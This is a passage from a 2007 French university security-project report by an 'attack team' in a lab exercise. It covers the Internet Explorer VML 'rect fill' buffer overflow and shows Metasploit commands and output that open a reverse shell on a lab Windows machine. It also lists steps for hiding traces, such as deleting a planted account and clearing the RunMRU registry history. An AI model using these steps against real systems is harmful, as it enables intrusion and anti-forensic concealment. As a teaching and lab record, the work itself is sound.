Objet du rapport / rÃ©union - inetdoc.net

More documents

Recommendations

Info

IUP STRI – M2 2007 Projet Sécurité – Equipe attaque G1 ● ● Supprimer le compte bidon si il existe Nettoyer l’historique de la commande exécuter HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMR U ● Effacer les lignes intéressantes Exploit sur faille VML de IE La faille Description Technique Une vulnérabilité a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'un document Vector Markup Language (VML) contenant un tag "rect" avec un attribut "fill" excessivement long, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue. Versions Vulnérables Voici les versions vulnérables qui nous concernent : Microsoft Internet Explorer 6 SP1 sous Microsoft Windows XP Service Pack 1 Microsoft Internet Explorer 6 pour Microsoft Windows XP Service Pack 2 Microsoft Internet Explorer 6 pour Microsoft Windows Server 2003 Microsoft Internet Explorer 6 pour Microsoft Windows Server 2003 Service Pack 1 Configuration de l’exploit Il y a de grandes chances que les utilisateurs aient le droit de faire de l’HTTP et de l’HTTPS. msf ie_vml_rectfill(win32_reverse) > set HTTPHOST 172.16.48.14 HTTPHOST -> 172.16.48.14 msf ie_vml_rectfill(win32_reverse) > set HTTPPORT 80 HTTPPORT -> 80 msf ie_vml_rectfill(win32_reverse) > set LHOST 172.16.48.14 LHOST -> 172.16.48.14 msf ie_vml_rectfill(win32_reverse) > set LPORT 443 LPORT -> 443 Quelques tests avant l’attaque Afin de vérifier le fonctionnement, nous avons testé en local si l’exploit fonctionne correctement : msf ie_vml_rectfill(win32_reverse) > exploit [*] Starting Reverse Handler. . Copyright (c) 2007 – GNU Free Documentation licence Équipe Attaque G1 – M2 STRI 50
IUP STRI – M2 2007 Projet Sécurité – Equipe attaque G1 [*] Waiting for connections to http://172.16.48.14:80/ [*] Client connected from 172.16.48.75:1118... [*] Got connection from 172.16.48.14:443 172.16.48.75:1120 Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\olivier\Bureau>exit exit [*] Exiting Reverse Handler. L’exploit fonctionne avec une machine Windows utilisant Internet Explorer pour naviguer. La machine Windows ne possède pas le patch KP925486. Avec une machine qui n’utilise pas IE, ou avec un MAC, on obtiendrait : msf ie_vml_rectfill(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Waiting for connections to http://172.16.48.14:80/ [*] Client connected from 172.16.48.93:49294... [*] Client connected from 172.16.48.93:49295... [*] Exiting Reverse Handler. msf ie_vml_rectfill(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Waiting for connections to http://172.16.48.14:80/ [*] Exiting Reverse Handler. Le payload n’est pas exécuté par le client, on ne reçoit donc pas la connexion émanant du client. Premiers essais Les premiers essais n’ont pas fonctionné : Un problème d’interface réseau en début de séance a fait que la machine ne possédait plus de route par défaut. Ensuite, nous souhaitions exploiter la faille sur le client XP SP2 de la « Défense ». Malheureusement, cette machine a sûrement été mise à jour le matin avant l’attaque. Puisque nous avions préparé la machine la veille, et testé que tout fonctionnait. msf ie_vml_rectfill(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Waiting for connections to http://172.16.48.14:80/ [*] Client connected from 172.17.0.2:1191... [*] Client connected from 172.17.0.2:1211... [*] Exiting Reverse Handler. msf ie_vml_rectfill(win32_reverse) > Le payload provoque un déni de service, IE plante et n’est plus utilisable. Ce n’est pas le résultat escompté puisque nous n’avons pas le shell. Ce phénomène se produit dans le cas où la machine n’est plus vulnérable (patchée). Nous nous sommes donc résignés à attaquer le client XP SP0. . Copyright (c) 2007 – GNU Free Documentation licence Équipe Attaque G1 – M2 STRI 51
Page 1 and 2: Romain BERGE Armel DESPOUY Patrice
Page 3 and 4: IUP STRI - M2 2007 Projet Sécurit
Page 49: IUP STRI - M2 2007 Projet Sécurit
Page 87: IUP STRI - M2 2007 Projet Sécurit

Objet du rapport / rÃ©union - inetdoc.net

Create successful ePaper yourself

Delete template?

Save as template?